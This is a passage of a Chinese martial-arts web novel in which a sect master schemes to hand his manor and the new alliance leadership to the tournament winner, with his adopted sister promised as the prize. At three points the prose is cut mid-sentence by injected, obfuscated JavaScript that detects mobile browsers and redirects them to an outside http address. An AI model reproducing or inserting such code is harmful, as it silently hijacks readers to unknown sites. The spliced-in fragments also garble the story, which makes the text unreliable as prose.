阮竹君束着发,一身轻便又高雅的行装衬得身形格外修长,她骑马奔来,在马车前勒住马,英姿飒爽,迷得流火君两眼放光。 “久等了。”阮竹君笑着看向他们,“多日不见还过得好吗?且随我来吧。” 马车咕噜噜地响起,跟上了在前带路的骏马。 镜麓山脉林深路险,又有许多野兽出没,若没有人带路是很难找到上山方法的。顾婉妤掀开车帘,好奇地看着窗外的山色风光。 流火君和疯子前辈并肩坐在赶车的车辕上,流火君难得地安静。 顾婉妤就问他:“你之前来过吗?” “来过。”流火君简单一答便不再说话,看来是不想透露太多。 顾婉妤只知道流火君是在麓北这里与阮竹姐认识的,后来又和阮竹姐一起到了上京,但对于其他事情,她就不清楚了。 流火君与镜麓庄有过节——看流火君的态度这已经是不言而喻的事实,但反正有阮竹姐在,想来也不会发生什么不好的事情吧。 顾婉妤趴在车窗上,随着晃悠悠的马车上山的节奏慢慢闭上了眼睛。 等她睡了一觉醒来,便感觉阳光沐浴在脸上,暖洋洋的,睁眼一看,已能看到镜麓庄山门前长长的阶梯,镶嵌在陡峭的山体上,仿佛要连通人间与仙界,不亚于任何一个江湖久负盛名的大门派的规模和气势,甚至更胜一筹。 毕竟,此处是世间独一无二、首屈一指的——天下第一庄,岂非浪得虚名。 “我们不需要步行而上,跟我绕到侧门去。” 幸好有阮竹姐在,他们轻轻松松地绕了段路,眼前又豁然开阔。 21. 雨打芭蕉(8) 镜麓庄的侧门,位于谷深之处,此处层林叠嶂,幽深静谧,遍地的奇珍异草皆是价值千金的珍宝,山崖上时有灵鹿、山猴等灵巧可爱的动物出没,谷中又是百鸟之家,随处可见外面瞧不着的鸟类盘旋、啾鸣。 顾婉妤大开眼界,又见路逐渐宽阔起来,穿过谷地,别有洞天,竟是来到了山间的平原上。可见“镜麓庄”的牌匾悬挂在那高高的城墙之上,高墙之内亭台楼宇修建得格外华美,宛若来到了仙境一般。 有阮竹君开路,他们一路畅行无阻。 镜麓庄内的弟子们穿着与阮竹君身上的白绿劲装相似的套装,皆是做工讲究,通身整洁,一眼看去格外精神洋溢。 阮竹君骑在马上,就有许多弟子尊敬地与她打招呼。 看来,阮竹君虽在外面待了好长一段时间,回来仍声望不减。 流火君则是跑回了马车车厢内,像特意要把自己藏起来。 “你不会偷了人家的什么东西一直没还,才这么心虚吧?”顾婉妤对流火君侧目而视。 “嘘,嘘!”流火君小声反驳,“才没有!” 看他这副做贼心虚的样子,真是令旁人不忍直视。 阮竹君给顾婉妤一行人安排了庄里顶好的院子入住,而且与其他门派的落脚点都存在一段不短的距离,贴心地照顾到了“见不得人”的流火君和疯子前辈。 进了每人各自的屋子,顾婉妤摸着滑如水波的缎被,简直想立马上床打个滚,她不禁感叹这也太奢侈了! 隐一这孩子没见过世面,跟着他的疯子师父光受罪去了,此番进了院后环顾周遭,惊讶得嘴巴大张似能装下鸡蛋。 阮竹君看众人的反应都显得很满意,宽慰地笑了笑,不过……还有一个环节必不可少。 “既然来到了庄里,无论如何都要去拜见庄主,否则太不合礼数。”阮竹君对流火君劝道。 流火君百般不情愿,到最后还是禁不住阮竹姐的好言相劝,跟着一道去了闫庄主所在的乾坤楼。 疯子前辈更夸张,他准备了两个挂黑布的斗笠,一大一小,把自己和隐一的脑袋都遮了起来,看着十分可疑,不像好人。 庄主闫鹘,即为镜麓庄的主人,此人的大名在江湖上可谓是如雷贯耳,这得益于镜麓庄在武林中独一无二的特殊地位。 在很多很多年以前,江湖格局初成之时,曾有几个顶级门派商议结成武林盟,并推举一名武林盟主统领武林,以便集结力量,共行大事。 武林盟好说,盟主人选却不好确定。几个门派都举荐自家有威望有能力的前辈高人,谁也不服谁。 这时,便有镜麓庄当时的庄主站出来说,不如弃掉盟主一职,改由各大门派共商大事。每逢议事之际,镜麓庄可提供一个安全无虞的场所,为诸位英雄豪杰行个方便。 镜麓庄在江湖中是出了名的中立派,虽然同样属于规模庞大、底蕴雄厚的门派组织,却几乎从不插手干涉江湖恩怨,其组织内上上下下的人员皆低调行事、与人交好,也为他们自己争得了好口碑。 于是,事情便真的这样定了下来。因循旧制,多年来武林每逢大事皆出自于镜麓庄,从此反倒让镜麓庄成为名副其实的武林中心。 此中因缘际会,当真巧妙。 一代代的岁月传承下来,当年不争不抢的镜麓庄,如今已成为权力中心,庄主闫鹘更是行武林盟主之实,镜麓庄号令一出,天下莫敢不从。 就连五年一次,江湖中最大的盛事——天下大比,也被牢牢把控在镜麓庄的手中,只有他们发了请柬的客人,才有参加的资格。 可不是吗,天下大比所使用的全部资源,皆由镜麓庄提供。若是不受欢迎的来者,压根进不了山门。 如此看来,顾婉妤等人前去拜见闫庄主,的确应当提起精神、严阵以待。 乾坤楼共有九层,是闫鹘继位之后才修建的,整体造型恢弘大气,细看其装饰等又精致讲究,它高高地盘踞在一处山崖上。 俗话说,高处不胜寒,它却偏偏要立于山巅,俯瞰整座镜麓庄。 镜麓庄已位于武林的巅峰,那乾坤楼呢?闫鹘之野心,聪明人一眼便知,他也从不费力遮掩。 徒步而上九层楼,周身已入云,恍惚有登仙之感。 阮竹君走在最前面引路,长发飘飘,真有如仙人之姿。她站定后,先在门外通报了一声客人来访,等门内唤了,才扬手推开门。 “庄主,我带来的客人们到了。” 踏进第九层楼的内部,首先见到的便是那悬挂于高处的书法,走笔气势磅礴、一气呵成,霸道地迎人扑面而来,写的便是——“奇壑藏天阍,镜麓蕴乾坤”。 书法之下便是高台,有案几置于其上,弟子侍立左右,而端坐在中间的,便是闫鹘本人了。 他抬起眼,平淡地看了看顾婉妤等人:“过来,我看看。” 闫鹘的年纪当真不大,给人的感觉却是老练与威严,流火君他们或多或少都在隐藏身份,顾婉妤只好站在了最前面,接受闫鹘的审视。 “不错。”闫鹘看过顾婉妤后,只简单这样一句便略过了,他的眼神来到流火君身上。 “上来回话。” 只一眼,流火君就知道对方认出自己来了。也是,当年他在江湖上闹得沸沸扬扬,又给镜麓庄添了那么多麻烦,认不出来才奇怪呢。 但流火君不想上去,他站在这也不耽误对方说话,干嘛还非得凑上去,又不是听力不好。 顾婉妤见流火君丝毫不动弹,有些担心闫鹘会不会动怒,她拿不准就往阮竹姐那边瞥。 阮竹君无奈,走过来拍拍流火君的肩膀:“庄主请你上去回话。” 流火君百般不情愿,还是按照阮竹君的意思走上了高台,只是走了一半便站定了。 闫鹘看着他,倒没有露出不满的表情,正当顾婉妤松了一口气的时候,就见闫鹘突然出手,两指一并,一道悍然剑气竟凭空出现,向流火君极速刺去。 幸好流火君的精神本就高度紧绷,见状他一个腾身翻起躲开,再轻巧落于窄而滑的楼梯之上,丝毫不乱。 剑气打在地面上,“铮”地留下一道深深的白痕,给顾婉妤看得寒毛竖起。 身即是剑……这也太吓人了! “看来这几年你没有荒废武学,”闫鹘淡淡说,“下去吧。” 流火君露出费解又气愤的表情,这人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840155|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搞什么! 庄主身边的弟子们向他看来,眼中皆是鄙夷与厌恶,让他想起当年的许多往事,那时江湖上的人们大多也是这样看他的。流火君捏起拳头,捏得咯吱作响,悍然回瞪过去。 闫鹘不再注意流火君,仿佛此人已经不值得再加留意。他手上做了个动作,一名弟子便双手拿起案几上的一柄玉签,与流火君擦肩而过走了下来,递给带着黑纱斗笠的疯子。 疯子没想到闫鹘还会单独给他个东西,他随手拿过来,正反翻看:“这是什么?” 阮竹君在一旁幽幽道:“天下大比的请柬。” 疯子前辈猛地抬头,不敢置信:“给我这个干嘛?” 阮竹君不作声,她怎么能摸清庄主心中的打算呢。 “好了,你们可以走了。”来递请柬的弟子朗声说道,“阮竹师姐,请你留一下。” “什么意思啊?”疯子前辈一头雾水,还想再问,却被阮竹止住了。她向庄主一躬身,便带着几人往外走,还不忘叫上仍然杵在高台台阶中央的流火君。 流火君气哼哼地最后瞪视高台一眼,飞快跑走了。 阮竹把他们送下楼梯,才回身走向第九层楼。 此时第九层楼中,其余弟子均已离开,只有闫鹘依然坐在高台上,亲手磨着墨。 阮竹君在台下站定:“庄主有何事吩咐?” “阮竹,你可知到现在为止,庄内已住进了多少门派?” 阮竹便答:“太清、昆仑、少林、峨眉、邪霞、丹阁,此六教。” 闫鹘慢悠悠地说:“此六教,皆是来取我性命的。” 阮竹一惊:“什么?庄主探听到了什么?” 闫鹘没有回答,只是自顾自地讲道:“阮竹,你还记得我说过,要将镜麓传予你,现在仍是作数的。” 阮竹如遭雷击,连忙跪下:“万万不可,阮竹没有能力撑起镜麓大局,况且庄主还年轻,怎么能想到传位的事情?!” 说完,阮竹心中又一阵颤动,难道庄主想要她替死? 闫鹘轻笑,似是看穿了阮竹的想法。 正在冷汗滑落之际,却听闫鹘向她解释:“我继续做庄主,其他门派必然不依不饶,势要取我性命。你做庄主,镜麓还能继续太平。” “这……这实在不妥……”阮竹不明白,她只想打消庄主这个离奇的想法。 “你说,除了你之外,偌大的镜麓庄,还有谁是我可以采信的?” 听闻此言,阮竹心镜一亮,方才明白过来。 镜麓庄弟子众多,但都不是庄主打心底完全信任的,只有她,自不懂事的幼儿时期便被接到镜麓庄,蒙上一任庄主之恩成为养女,此后全心全意将这里当成自己的家。这些,眼见她长大的闫鹘看得十分清楚。 事实上,此前也早已有预兆。 每逢与别派交际,闫鹘都要派她前去,尤其是寄送请柬等大事,在她带流火君离开镜麓去往上京之后,仍是不假别人之手,每每要唤她回来做。这是何等的信任。 “但,阮竹仍不认为,自己可以胜任。” “那就去找你认为可以胜任的人吧。”不容置喙,闫鹘说完便叫她退下了。 22. 雨打芭蕉(9) 离开乾坤楼,顾婉妤才觉得松了一口气,实在是闫鹘什么都不说,又做了怪异的事情,让他们摸不着头脑。 “这到底几个意思?”疯子前辈还在端详手中的玉签。 “拿着吧,或许会有用,若是不想参加大比,也不用强求。”顾婉妤劝道。 疯子前辈把玉签塞进衣中,嗤之以鼻:“老子平生最烦故作玄虚的人!” 流火君也忿忿不平:“你们可好,我是差点就把小命交代在那里了!” 他们沿原路返回,刚走到院子,阮竹君就追上来了。 她行色匆匆,一闯进来,就拉了顾婉妤的手出去:“跟我来。” 院后僻静无人的林间,顾婉妤靠在树干上,看阮竹君满脸纠结神色,好奇问道:“阮竹姐为何这般烦恼?” 阮竹君似是受到了冲击,思绪混乱,她扶住额头,缓了好一阵,才理清自己要说的话,缓缓开口:“婉妤,替姐姐想想办法。” 顾婉妤上前握住她发凉的手:“当然,姐姐请讲。” 阮竹君朝两人的四围与上方都仔细看了看,确认无人后,她以极低的声音说道:“这次大比恐怕要出事了,几大门派暗中计划要逼镜麓庄让出江湖中的地位与权限,若庄主不答应,可能要见血。” 顾婉妤心中一跳:“什么?!这么多年来武林皆以镜麓庄为首,一直都相安无事,为何如今却……” “这几年正是各门派更新迭代的时期,恐怕是新鲜血液的躁动吧,不知这次镜麓庄能否压得住。”阮竹君垂下眼,“庄主想要传位给我。” 听闻此事的顾婉妤立马想到镇上说书先生的话语,没有想到来得如此快…… “阮竹姐来做庄主,就能压得住吗?”顾婉妤郑重地询问。 “并不。”阮竹君摇摇头,“平心而论,我根本没有做庄主的资质和心气,在这种时候将我推出来是下下策,说明镜麓庄愿意自我削弱,要主动退让了。这样做唯一的好处仅仅是保住大家不受到伤害,但从此江湖地位必然不再,甚至……镜麓庄可能被打为操纵武林的罪人,去追究我们莫须有的罪名。” 历史总是由胜利者书写的。 阮竹君目光幽暗:“到时的情况也不过是勉力支撑,不叫镜麓庄彻底没落衰败。若沦落到此番地步,连多年积累的声誉都保不住,我和闫鹘还有何颜面百年之后再见师父?” 虽然与镜麓庄没有什么感情,但顾婉妤也见不得大门派这样联起手来欺负人,尤其是让她的阮竹姐如此烦恼!顾婉妤义愤填膺:“难道没有别的办法了吗,牺牲了你的自由,还要整个镜麓束手就擒居于人下,闫庄主那么聪明,怎么会做这种打算?” “是的,所以我觉得他话里有话……他真正的意图,好像是在逼我去找来一个合适接下庄主头衔,能撑起镜麓大局的人。” “这个想法还更合理些,闫庄主那种人物……”顾婉妤眼前浮现出那面巨大又震慑人心的书法,仿佛能窥见书写者无穷的野心与自信,“所以阮竹姐心中有人选了吗?” 闫庄主把关键矛盾直接抛给阮竹姐,说明闫庄主心中属意的那个人选是阮竹姐能请动的。 顾婉妤思索起来,要真正有资格成为天下第一庄的庄主,从此独步武林,首先身手必须在江湖上能排得上名号吧,此外还得有属于庄主的气势,不能太小家子气叫其他门派看扁了去。而且镜麓庄地位特殊,必须在江湖上保持中立和独立,避免复杂的利益关系,这就要求庄主的背景及家世必须干净简单,不能牵扯其他门派或组织,否则无法服众,也会破坏江湖的平衡局面。 …… 顾婉妤抓抓头发,太可怕了,自己怎么会想到那个人呢?怎么可能是他,不对不对。 结果顾婉妤一抬眼,发现阮竹姐也在愣愣地发呆,脸上的表情难以言喻。 ? 不会吧…… “阮竹姐,你心中的人选是?” 阮竹君与顾婉妤对视一眼,彼此均是心念一动,知道对方和自己想到一块去了。 怎么会这样。 “阮竹姐,”顾婉妤弱弱问,“你想的是……流火君吗?” 阮竹君眉头紧锁:“该是他吗?我不知道庄主究竟是怎么想的。” “那抛开庄主的意思不谈,光说你自己,你觉得流火君能胜任吗?” 两人面上皆是迷茫,末了,阮竹君说了句:“好像……也还可以吧。” 有风起,簌簌扫过林间的叶,在这微妙的气氛之中,顾婉妤再度握紧了阮竹君的手。 “阮竹姐,你让我替你想办法,我却觉得,此事太难办,也太难想了。且不论闫庄主的想法难以揣测,就说流火君,也不是一个可以随便摆布的人。” 阮竹君点了点头。 “闫庄主把事情交给你,是因为大家都看得出来,你是真心为镜麓付出、为未来考虑的人,所以即使你不会武功,镜麓内外都十分认可你。无论如何、无论镜麓未来会变成什么样子,你是最有资格代替闫鹘待在这里的人,不管是成为庄主,还是不为庄主。” “我想,这也是闫鹘说让你继任的原因之一,不仅仅是为了逼迫你去寻找另一个适合的人。” “那我该如何是好呢。”阮竹君叹一口气。 镜麓庄是她的家,自己家中遭逢此变,她心里太乱了。 “你先稳住自己的情绪,做好自己该做的,剩下控制不了的事情……我来想办法!”顾婉妤咬牙,“我就不信了,这世上千千万万条不同的道路可走,怎么会有山穷水尽的时候!” - 天下大比五年一次,每逢八月召开,便是暑气最重的时节。幸好镜麓山清凉避暑,敞开山门,引群贤毕至,天下英豪无不以参加大比为荣。 来者是客,只要握有请柬,无论身上背负何等恩怨情仇,皆被引入庄内悉心招待。此时镜麓庄中热闹非凡,许多武林人士聚集畅谈、或切磋身手。这里远离朝堂,不受官家拘束,又少人间铜臭,没有饥困烦劳。 仿若神仙之境,真乃天下武林第一盛会。 大比日程不短,除了一对一的擂台比武,还有其他花样,虽是遵循旧制,同样能令人欲罢不能。 举办擂台赛的地点居于山隘之间的一块巨大平地,天然形成一处半封闭的道场。在此演武,贴近自然,身心舒畅,宜友好切磋,更宜突破自我藩篱、实现进步。 比武赛程的安排随着参加人士的到齐逐渐成型,由镜麓弟子张榜于擂台赛的场地。大比首日,这里就成为了各门各派集合之地。 镜麓庄各种礼制用料向来奢华,此次专门修建了一座楼,大比首日请六大门派掌门人与镜麓庄庄主一同登楼,居高临下,观赏武林英豪齐聚一堂。 “我看到阮竹姐了!”顾婉妤站在自发排列成队的人群之中以手遮阳,向高楼上望去便能看到阮竹姐就站在闫庄主身后陪同。 流火君还有以黑布遮面的疯子前辈及隐一都在她的左右。 比起表情被掩盖在黑布之下显得格外冷静的两个人,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840156|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及紧张到激动的顾婉妤,流火君就成了那个完全没有干劲,三番五次想逃离的角色。 “你都答应了要陪我们参加大比,君子一言驷马难追!”顾婉妤也几次把打算混入人群偷偷溜走的流火君控制住。 “我只是拗不过你和阮竹,怕你们不知道轻重独自去参加大比受了伤。”流火君崩溃,“所以!到底为什么突然要参加啊!我们一开始不是来看热闹的吗!” “小子,别问了,”疯子前辈凑近过来,黑布衬得他整个人的形象极度阴暗,尤其是旁边还跟了一只小的,“屁话真多,我不都来了?” “所以你们到底是为什么……”流火君被三个人暴力镇压,控制在原地,他只能“弱小无助”地嘤嘤嘤起来。 这没出息的臭小子…… 疯子前辈透过黑布的缝隙看了一眼高楼上的闫鹘,到底是什么样的脑回路,能选中流火君这小子来当镜麓庄的接班人啊! 他原本是死活都不想掺和进这种麻烦事,尤其害怕自己职业杀手的身份被人认出泄露,偏偏顾婉妤一门心思要替姐分忧,甚至拿自己的生命安危来威胁他,说要独自去参加大比。 万一顾婉妤在他眼皮下出了什么意外,疯子有十个脑袋也不够割下来赔给师姐的。 就因为他们要配合闫鹘设局,让流火君赢下大比,得到镜麓庄主之位的奖励。 那天顾婉妤跟他摊牌的时候,他都不知道该作何反应了…… 活这么大岁数了,还是第一次见此种离奇的事情!连这小子本人都不知道自己要当庄主了,还在这里不情不愿地发癫,就有一群人为了他忙前忙后地卖命! 走狗屎运的臭小子!真是看不顺眼! 疯子前辈狠狠拍了流火君的后脑勺一巴掌。 “干嘛!”流火君突遭偷袭,愤怒回身。 可惜威慑力为零。 “忍忍吧,忍忍吧。”顾婉妤很懂这种想揍流火君一顿的感受,她和隐一一起给疯子前辈顺毛。 高楼之上,传来镜麓弟子的长啸声,大抵是猿吼功,声音悠长响亮,贯穿整座山谷,令人闻之精神一振。 平地上的人群便渐渐安静平息,各门各派的弟子皆抬起头仰望高楼,眼中闪烁野心的火焰,气势高涨。 顾婉妤左右顾盼,能看到许多大门派的弟子,他们卓有纪律,随身携带自己拿手的武器,集合在一起格外气势汹汹,一看便有备而来。 还有更多的人属于零散的江湖人士,但也绝不能小觑。能受邀请来到此处的,不是顶级的武林高手,就是所习武学独特,早在江湖闯出名声的奇人异士。 说实话,顾婉妤不得不承认,他们四个,加上目前正会见各大掌门的阮竹姐,属于是——纯正的草台班子。 啸声回荡,后逐渐平息,正在这时,高楼上传来一个威严的声音,极其清楚地灌进每一个人的耳朵。 “镜麓聚集天下英豪,共举武林盛会,已有百年历史。台下诸多小辈,阅历尚浅,并不清楚。最初,这天下武林,乃各家共治!” 顾婉妤心头一震,不出闫庄主意料,这六大门派已经寻准了时机,正要当着天下武林的面,向镜麓庄发难了! 面对大景庞大而复杂的江湖世界,稍有不慎说错了话,镜麓就将失去原本绝对中立、绝对无私的立场与形象,变为众矢之的。 众弟子居于低处无法看到,此时高台之上,已是一片冰冷肃杀。 首先开口的太清李掌门,目光如刀熠熠,矛头直指闫鹘! 23. 雨打芭蕉(10) 闫鹘嘴角扯出一抹冷笑。 站在闫鹘左右的镜麓庄弟子们纷纷按捺不住,亮出剑来,而各方掌门也都带了亲信势力,见状同样拔出武器分毫不让。一时间,高台之上剑拔弩张,气氛紧绷到了极点,一触即发。 掌门、首领们虽然仍是坐着,也个个都面若寒冰,威胁之意不言而喻。 “莫要再顽抗了!这是你镜麓的定数。”丹阁阁主沉声低吼,“从此六大门派带头结成武林盟,若有谁敢反对,便是与全武林为敌,后果也不用老夫多说了吧,到时可别怪刀剑无眼!” 闫鹘扫视一圈周围的人们,不管是敌是友皆沉浸在如临大敌的气氛中。 他却不紧不慢地站起身。 数把刀剑对准了他,六大门派尽数露出警惕之色。 “各位可真是太急了些。”闫鹘走到高楼边缘,下面是不明就里仍在等待指令的各派人士,他眉目间阴郁杀气一闪而过,又很快消失不见,“本庄主可从没表达过拒绝的意思。” 他将手伸出去,从山隘间呼啸而来的风凛冽又盛大,穿过指间。 闫鹘气运丹田,喉间发出的声音一下子被扩张放大,如洪钟般撞响在山崖之间,不容任何人忽视:“闫鹘在此,宣布一件值得天下共庆的大事!” 身后,六大门派互相交换眼色——是否动手?他要说什么? 已经错失了先机,再当着许多人的面对闫鹘下手恐怕不妥。 丹阁阁主咬紧牙关:闫鹘要发什么疯?! “大景江湖旧制已延续数百载,其间无数能人异士留下浓墨重彩的痕迹,却少有举江湖之力共行大事、上下一心的先例。” “而今六大门派与镜麓庄合议,要共建江湖,须得成立一个真正的武林盟!” 此时,城楼之下,窃窃私语声逐渐变成震天响的议论声。无数人露出惊讶神色,却很快又极端兴奋起来。 “江湖若要延续不朽,必须有新鲜血液在其中激荡奔涌,因此我镜麓庄先站出来,不遗余力为诸位年轻有为的江湖人士提供成长的机会!” 说到激情处,闫鹘的表情仍然冷静到淡漠。 角落里,阮竹暗自点头,庄主的计划和策略如她和顾婉妤近日来不断揣测出的结果一样,接下来,便是宣布要通过大比选拔武林盟主了。 这样一来,镜麓庄甚至整片江湖都会彻底成为这位新任武林盟主的囊中物。 对于六大门派来说,闫鹘先发制人,他们就无法再对镜麓庄发起攻击,而且闫鹘的这个提议,六大门派也未必真的不满意。 现在只能如此了,接下来的事情还得看参加大比的各人的造化,而对于己方来说,关键在于能不能把想要的人推上去。 “本次天下大比选拔出的魁首,将接替我成为镜麓庄新一任的庄主,同时,也将成为武林盟的第一任盟主!” 此言一出,满场哗然。 “玩这么大?!”流火君在炸了锅的人群中捂住耳朵,“疯了吧!” 顾婉妤神色复杂地仰望着楼上的那个人影。 虽然已经提前猜到了,但亲耳听闻,心中还是一阵激荡。 不管闫鹘内心是多么的不甘,至少说出来的这些话——正义凛然! 看来闫鹘的声誉和威望又要提升一大截了。 这便是能玩弄权势、操纵人心之人。 流火君又凑过来,在人声鼎沸中艰难地规劝:“小妤,你看这群人疯了一样地要在大比上夺魁,不知道到时候要多拼命呢,咱们还是别参加了吧。” 顾婉妤闻言,发自内心的一怒,狠狠拍了流火君一下:“一定要参加!” 话都放到这里了,全无退路了,接下来全指望流火君登场,他还在打退堂鼓! 虽然也的确不能怪他吧…… “你不会也想当武林盟主吧。”流火君嗤之以鼻,“这么傻的头衔。” 城楼之上,闫鹘的话同样引起弟子们的巨大喧哗。 尤其是镜麓庄的弟子,皆不敢相信,闫庄主会把镜麓庄拱手让人。 六大门派则面面相觑。 这与他们的打算不一样,原本六大门派私下达成的协议是,由每门派出一合适人选担任武林盟主,五年一换。 但闫鹘的话一出,各家又都打起了自己的算盘。 对于峨眉、邪霞、丹阁几个排序靠后的门派,要等到他们的人成为盟主,至少得等上十五年,万一其中出现变故,真就成了白给别人作嫁衣裳。 而闫鹘允许所有参加大比的人争夺盟主之位,万一是自家的弟子争得了,不是比原来的计划更好吗? 大比赛程的第一项就需要团队协作,他们几个大门派可以占据绝对优势,赢面更多。 对于太清、昆仑、少林这几个排序靠前的门派,他们则更看重将镜麓庄收入囊中的机会。 若能取胜,挣来的不只是盟主头衔,还有整个底蕴深厚的镜麓庄。 放手一搏,若真能成事,得到镜麓庄的他们从此必然会是名副其实的天下第一门派。 六大门派无人再有异议,他们都默默接受了闫鹘的提议。 “肃静!”太清掌门发话。 他看着闫鹘的背影,只觉无人可知此人心中的想法。 闫鹘还站在楼边,风猎猎吹动他的衣角,他还有话要说。 待到沸腾的人群终于慢慢平静下来,他又开口道。 “镜麓庄原定的下一任庄主,本是我亲如兄妹的阮竹。” 乍一听到自己的名字,阮竹君还怀疑自己听错了,她惊诧地抬起头。 同时,顾婉妤也是精神一凛。 “阮竹没有自己的私心,我却不能完全对不起她。全当是为自己的妹妹择一好夫婿,谁成了武林盟主,我便把阮竹许配给他。” 阮竹君脑中嗡地一声。 她明白了,她终于明白了闫鹘的全部计划。 该死的,都到这种地步了,还要榨干她最后一滴利用价值! 闫鹘,从小你就聪明过人,野心斐然。果然如师父说的那样,你是庄主的不二人选,就算哪天你死了,镜麓庄都能继续受你的庇护,长长久久存在下去。 阮竹君双眼发红,僵在原地。 说完所有要说的话的闫鹘从她身旁经过,表情一如既往地淡薄,连一个眼神都没有递过来。 他打算做什么,从来都不受旁人置喙。 一片哗然的人群中,有一个响亮的骂人声格外鲜明:“他妈的,你这个疯子!” 顾婉妤和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840157|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疯子前辈一人拉住流火君的一只手,隐一在下面死死抱住流火君的腰。就这,刚刚还差点控制不住发疯的流火君。 “我就看!谁敢碰阮竹!!!” 流火君声嘶力竭地闹了一通,被疯子前辈一个手刀打在脑后最脆弱的地方,才滑落在地勉强安静了一会。结果马上又跳了起来。 顾婉妤再也受不了了,听到阮竹姐成为闫鹘保住镜麓庄的筹码和牺牲品,她也很崩溃,凭什么只有流火君可以这样肆无忌惮地发泄不满,她还得保持冷静来劝他! 她对着流火君吼道:“你冷静点吧!保留力气!不是要参加大比吗!” 听到“大比”两字的流火君如脑袋撞钟般一下子被惊醒过来,他捂住脸,慢慢蹲下身子:“……是,是要大比……” 刚刚还百般不情愿的人,恐怕现在对于获胜的执念和渴望比谁都强烈。 别的所有一切都不重要,但毕竟,那是他一直心爱的阮竹啊。 顾婉妤也脱力一屁股坐在地上。 她真的没有想到闫鹘能算计到这里。 那天在竹林中,自己对阮竹姐说,闫鹘不会忘掉她的价值,只单纯让她去找一个能替代做庄主的角色。 没想到一语成瀣。 闫鹘嘴上说的好听,要为阮竹姐找一个好夫婿。 实际上,他知道流火君对阮竹姐有极深的情意,他要逼流火君拼尽全力去争夺盟主之位。 另外,就算流火君失败了,镜麓庄不幸落入他人之手。那么还有一个阮竹姐作为镜麓庄的女主人,那是因婚姻而来的稳固地位加上多年来在庄内积累的威望。 阮竹姐又是十分负责的性格,有她在,必不会容忍镜麓庄就此没落。 到时,事情仍有希望发生转机,镜麓庄也不一定就完全成为别的门派的养分,最终被吞食殆尽。 那么阮竹姐自己的幸福和自由呢? 顾婉妤狠狠锤了一下地:“这都是什么事啊!” 令人无力。 疯子前辈看他们两个人情绪实在不好,难得耐心了一次,显露出属于年长者的靠谱和责任感:“怎么了,不是早就知道此事艰难吗?怎么一个个的这样垂头丧气!” 他狠狠一拍流火君:“小子,别这么没出息!既然是喜欢的女人,就赶紧想办法啊!” 他又蹲下来看着顾婉妤:“婉妤,不是你非要掺和这些事的吗!你不打起精神来,我们这些听你指挥的怎么办?” “疯子前辈,我没有想到事情会变成这个样子。”顾婉妤垂首。 “第一场大比就要开始了。”疯子沉声道,“现在我们要做的是赢下第一场比赛,这样才有后面的戏唱,你说对不对?” 顾婉妤叹一口气,捏紧拳头站起身。 “是的,没错。”她说,“我们得赢下来,现在没有退路了。” “小子。”疯子前辈一手把流火君提溜起来,“第一场比赛是以团队形式进行的,我们每个人都是你的力量,必会不遗余力地助你。你得相信我们,相信你自己,成吗?” 流火君的双眼渐渐聚焦,落在疯子前辈脸上。 “前辈,一定要帮帮我。”他痛苦地说,“我不能输,要是输了,我还不如去死!我比死还难受。” 24. 雨打芭蕉(11) 大景崇益二年。 “啪嗒——” 一声重物落地的声音,紧接着,金碧辉煌的宫殿内传来惊恐的叫声。 - “欺人太甚!敢偷到我太清头上来!”太清宫的大殿内,一群弟子站在下首听令,而几名坐在太师椅上的太清长老围坐议事,气得面红耳赤。 “那东海‘玉生烟’世间罕有,又是生肌丸配方中最为重要、不可或缺的东西。如今被人盗了,难怪宁长老痛心疾首,大病一场。” “谁偷的,能不能查到?”弟子们窃窃私语。 “还用问吗。”一名长老绷紧面容,“太清宫内谁有胆子动长老的东西?近来江湖上有个盗贼胆大包天,专偷稀世珍宝,被好几个门派及世家大户发了悬赏要他项上人头,没想到居然敢把手伸到我太清来!” “确定吗?我太清高手如林,戒备严密,怎么会是个江湖小贼能混进来的。”另一名长老沉下脸。 “去查。”长老令一下,弟子们皆俯身领命。 “区区一个小贼,查出他的所在,揪出他的人!到时便知有没有抓错。” - “叔叔,我妈妈吃了这个药,身体就能变好吗?”一个黄毛小儿流着鼻涕,拽着身前人的衣角,亦步亦趋地跟着,奶声奶气的童声还在问。 “当然了。”身前之人长着一张粗糙野蛮的黑脸,是每个过路人都不愿意多看两眼的那种丑陋粗鄙,但他的声音非常清澈温柔,像春天潺潺的溪水,从喉间汩汩流淌出来。 小孩听闻他的话,便乖乖跟着,把人带去了一个破败的院子。 一开门,一名操劳而疲惫的妇女的脸庞出现在院落中,环顾四周,可谓是家徒四壁,不仅光秃秃的什么都没有,还到处是屋瓦破损塌陷的痕迹。 